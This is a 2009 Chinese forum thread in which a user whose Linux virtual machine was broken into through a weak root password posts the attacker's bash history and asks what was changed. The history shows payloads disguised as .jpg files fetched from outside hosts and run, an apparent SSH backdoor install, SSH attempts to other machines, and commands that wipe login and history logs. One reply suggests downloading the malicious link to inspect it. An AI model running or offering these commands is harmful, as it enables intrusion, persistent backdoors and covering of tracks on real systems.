本人的linux被攻击了！！

Question

昨晚没有关虚拟机 ，里面的linux一直在运行，今天重启系统突然发现我的root密码被改了 ！！
于是费了半天劲终于发现，自己的linux被别人ssh以root身份登录以后篡改了我的密码，找到了这段bash的代码 ，好像是在我的系统里进行了一番折腾，情高手帮忙分析一下有没有什么特别的关键的地方被修改了！！

教训，密码太简单了！！123456

w ps x uname -a cat /proc/cpuinfo cat /etc/hosts cat /etc/issue ps -aux gcc screen yum apt-get cd /var/spool/at cd /dev/shm wget mucul.do.am/doru.jpg tar -zxvf doru.jpg rm -rf doru.jpg cd .sqe chmod +x seed cp seed /bin seed cd cd /dev/shm wget www.mickeyhap.evolink.ro/ssha/sshd.jpg tar -xzvf sshd.jpg cd ssh ./inst ls -a rm -rf * ls -a cd last w ssg 192.168.1.15 ssh 192.168.1.15 ssh 192.168.1.105 netstat -antplu ps -aux w rm -rf .bash_history; rm -rf /var/run/utmp; rm -rf /var/run/wtmp -; rm -rf /var/log/lastlog; rm -rf .bash_history; cd /var/log/; rm -rf wtmp*; rm -rf secure*; rm -rf lastlog*; rm -rf messagess*; touch messagess; touch wtmp; touch secure; touch lastlog; cd /root; rm -rf .bash_history; touch .bash_history    passwd less /var/log/sys.log

Answer 1

上面的记录是你计算机留下的别人执行命令的记录吗？

Answer 2

对
是我在系统root文件夹下的history中找到的 路径是：\root\.bash_history

[ 本帖最后由 renfeide112 于 2009-2-20 13:26 编辑 ]

Answer 3

wget mucul.do.am/doru.jpg

wget

下载了两个文件，而且应该是压缩包。

Answer 4

wget mucul.do.am/doru.jpg
tar -zxvf doru.jpg
rm -rf doru.jpg
cd .sqe
chmod +x seed
cp seed /bin
seed
cd
cd /dev/shm
wget
tar -xzvf sshd.jpg
cd ssh
./inst

seed和inst两个可执行文件

Answer 5

看了很多被黑的情况
screen是必打命令

Answer 6

这个我都知道 就像问问那个seed是个什么软件！！
还有 对我的linux有没有什么隐患，需不需要重新装系统啊！

Answer 7

原帖由 renfeide112 于 2009-2-20 13:30 发表
这个我都知道 就像问问那个seed是个什么软件！！
还有 对我的linux有没有什么隐患，需不需要重新装系统啊！

这个你得搜索一下了。平时用的不多。或者你直接从那个链接上下载下来好了。

你的虚拟机一般是做什么用的，如果涉及到保密的话，还是要慎重考虑一下。

你可以考虑抓包看一下，是不是有异常的链接出去啊。

Answer 8

我的虚拟机就是供我学习的倒是没有什么重要的东西，
这是我第一次被攻击，对安全有了一个新的认识！！索性没有什么损失！！
我自己再研究一下！
还是要特别感谢啊！！！

Answer 9

我装的系统是lfs 就是那个自己编译的系统，里面只有一些最基本的软件，samba和sshd是我后来装的，通过samba我查到了那个历史记录的文件 。